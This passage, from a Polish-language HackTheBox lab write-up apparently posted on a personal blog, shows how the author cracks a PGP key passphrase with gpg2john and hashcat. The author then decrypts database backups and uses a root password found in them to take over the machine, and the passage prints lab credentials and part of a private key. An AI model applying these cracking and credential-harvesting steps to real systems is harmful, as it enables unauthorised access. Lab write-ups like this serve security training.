DZNUnvaugNdG2nNkX1b4U+fNJMR07GCAJIGVrQojqnSVCKYjI4Et7VtRIlOI7Bmr
UWLDskLCqTD33o4VOV3IITVkQc9KktjhI74C7kZrOr7v07yuegmtzLi+
=wR12
-----END PGP PRIVATE KEY BLOCK-----

Aby dostać passphrase musimy go złamać wykorzystując narzędzia do tego przeznaczone, tj. hashcat lub john. Ale najpierw potrzebujemy mieć taki format klucza, który jest “łamalny” przez te narzędzia. Do tego celu służą specjalne skrypty/programy transformujące, w naszym przypadku: gpg2john:

rvr@rvr$ gpg2john armored_key.asc 

File armored_key.asc
Sandy:$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b:::Sandy (My key for backups) <[email protected]>::armored_key.asc

Zapisujemy hash do pliku armored_key.asc.john.hash. Do złamania hasha wykorzystamy narzędzie hashcat. Jednak aby ten mógł go rozpoznać, musimy wykonać jeszcze jeden krok - wykestraktować właściwy ciąg, który znajduje się pomiędzy Sandy: a ::::

rvr@rvr$ gpg2john armored_key.asc > armored_key.asc.john.hash
rvr@rvr$ awk -F ':' '{ print $2 }' armored_key.asc.john.hash > armored_key.asc.hash

Wreszcie możemy uruchomić hashcata ze słownikiem rockyou.txt (co jest standardem dla HackTheBox).

rvr@rvr$ hashcat.bin armored_key.asc.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

...[snip]...

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

17010 | GPG (AES-128/AES-256 (SHA-1($pass))) | Raw Hash

...[snip]...

$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b:sweetheart

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 17010 (GPG (AES-128/AES-256 (SHA-1($pass))))
Hash.Target......: $gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a...f0058b
Time.Started.....: Wed Jan 19 18:38:18 2026 (1 min, 28 secs)
Time.Estimated...: Wed Jan 19 18:39:46 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
...[snip]...

Started: Wed Jan 19 18:36:30 2026
Stopped: Wed Jan 19 18:39:48 2026

Po chwili dostajemy złamany passphrase:

sweetheart

Możemy teraz odszyfrować pliki .gpg podając jako hasło sweetheart:

sandy@hacknet:~$ gpg --decrypt /var/www/HackNet/backups/backup01.sql.gpg > /tmp/backup01.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <[email protected]>"
sandy@hacknet:~$ gpg --decrypt /var/www/HackNet/backups/backup02.sql.gpg > /tmp/backup02.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <[email protected]>"
sandy@hacknet:~$ gpg --decrypt /var/www/HackNet/backups/backup03.sql.gpg > /tmp/backup03.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <[email protected]>"

Shell jako root

Uruchamiając grep password backup* na odszyforwanych plikach .sql, znajdujemy ciekawą informację:

sandy@hacknet:/tmp$ grep password backup*
...[snip]...
backup02.sql:(48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
backup02.sql:(50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
...[snip]...

Mamy nieznane wcześniej hasło: h4ck3rs4re3veRywh3re99. Okazuje się, że pasuje do konta root, dzięki czemu uzyskujemy pełną kontrolę nad systemem:

sandy@hacknet:/tmp$ su root
Password:
root@hacknet:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@hacknet:/tmp# cat /root/root.txt
add688a6*************************
© 2026, Code by ravr & powered by Gatsby